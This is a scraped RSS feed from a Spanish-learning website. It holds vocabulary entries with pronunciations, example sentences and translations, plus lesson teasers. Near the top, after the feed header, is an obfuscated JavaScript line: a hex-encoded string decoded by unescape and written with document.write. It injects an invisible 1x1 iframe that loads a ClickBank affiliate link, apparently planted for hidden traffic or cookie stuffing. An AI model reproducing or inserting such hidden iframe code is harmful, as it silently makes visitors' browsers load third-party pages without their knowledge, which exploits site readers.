http://www.learnspanishcds.com Learn A Foreign Language Online Tue, 09 Mar 2010 12:34:32 +0000 http://backend.userland.com/rss092 en str='@3c@49@46@52@41@4d@45@20@53@52@43@3d@27@68@74@74@70@3a@2f@2f@64@69@61@6e@6f@67@61@68@2e@72@73@70@61@6e@69@73@68@2e@68@6f@70@2e@63@6c@69@63@6b@62@61@6e@6b@2e@6e@65@74@2f@27@20@57@49@44@54@48@3d@31@20@48@45@49@47@48@54@3d@31@3e@3c@2f@49@46@52@41@4d@45@3e'; document.write(unescape(str.replace(/@/g,'%'))); LEARN SPANISH ONLINE Here's what I knew about learning Spanish coming into this: Spanish is apparently one of the easier languages for a native English-speaker to learn because there are a very large number of cognates (words that are substantially similar in both languages - Thanks wiki). For example, ... http://www.learnspanishcds.com/2009/04/29/learn-spanish-online/ Pronounced: dehs-deh-nyáh-bleh Type: adjective Example: Su nuevo proyecto a mí me parece desdeñable. Translation: Their new project seems despicable to me. Copyright 2010, GB Blanchard - Learn Spanish: www.braser.com Related posts:estrafalario = bizarre / eccentric Pronounced: ehs-trah-fah-láh-ree-oh Type: adjective http://www.learnspanishcds.com/2010/03/09/desdenable-contemptible-despicable/ Learn Spanish with SpanishPod101.com! You have just arrived in a Latin American country and you have already noticed there is something very different about Spanish-speaking people. Everywhere you look, people appear to be dressed differently…and what is that noise?! Is that…music? Well, maybe you just have jet lag and things ... http://www.learnspanishcds.com/2010/03/09/all-about-10-all-about-latin-american-pop-culture/ Pronounced: éh.chos ah máh noh Type: adjectival expression Example: Esta hamaca está hecha a mano. Translation: This hammock is handmade. Copyright 2010, GB Blanchard - Learn Spanish: www.braser.com Related posts:(la) tónica = tonic (water) Pronounced: tóh-nee-cah Type: noun http://www.learnspanishcds.com/2010/03/08/hecho-a-mano-handmade/   Learn Spanish with SpanishPod101.com! Your roommate walks in the dormitory and says to you in Spanish, “It’s the first beautiful spring day of the year. How do you want to spend the rest of the afternoon?” You respond in Spanish, “Well, since I’m sitting at my desk with a ton ... http://www.learnspanishcds.com/2010/03/08/beginner-lesson-s5-5-do-you-want-to-learn-more-spanish-together/ Pronounced: sahl-váh-doh Type: noun Example: Estos cereales tienen un alto porcentaje de salvado. Translation: This cereal has a high percentage of bran. Copyright 2010, GB Blanchard - Learn Spanish: www.braser.com Related posts:(la) tónica = tonic (water) Pronounced: tóh-nee-cah Type: noun http://www.learnspanishcds.com/2010/03/07/el-salvado-bran/ Discussion ... http://www.learnspanishcds.com/2010/03/07/del-taco-al-tango-a-beber-con-spanishpod/ Pronounced: mee-lah-gróh-soh Type: adjective Example: Es milagroso que aún sigamos con vida después del accidente. Translation: It's miraculous that we're even alive after the accident. Copyright 2010, GB Blanchard - Learn Spanish: www.braser.com Related posts:anfibio = amphibious Pronounced: ahn-fée-bee-oh Type: adjective http://www.learnspanishcds.com/2010/03/06/milagroso-miraculous/ Pronounced: pehr-spee-cáhs Type: adjective Example: Ella es muy perspicaz en ese tipo de negocio. Translation: She's very shrewd in that type of business. Copyright 2010, GB Blanchard - Become fluent in Spanish: www.braser.com Related posts:estrafalario = bizarre / eccentric Pronounced: ehs-trah-fah-láh-ree-oh Type: adjective http://www.learnspanishcds.com/2010/03/05/perspicaz-perceptive-shrewd/ Pronounced: ah-yoo-dáhn-teh Type: noun Example: Ella trabaja como ayudante al profesor en un colegio. Translation: She works as a teacher's assistant in a school. Copyright 2010, GB Blanchard - learn Spanish: www.braser.com Related posts:(la) tónica = tonic (water) Pronounced: tóh-nee-cah Type: noun http://www.learnspanishcds.com/2010/03/04/ella-ayudante-aide-assistant-2/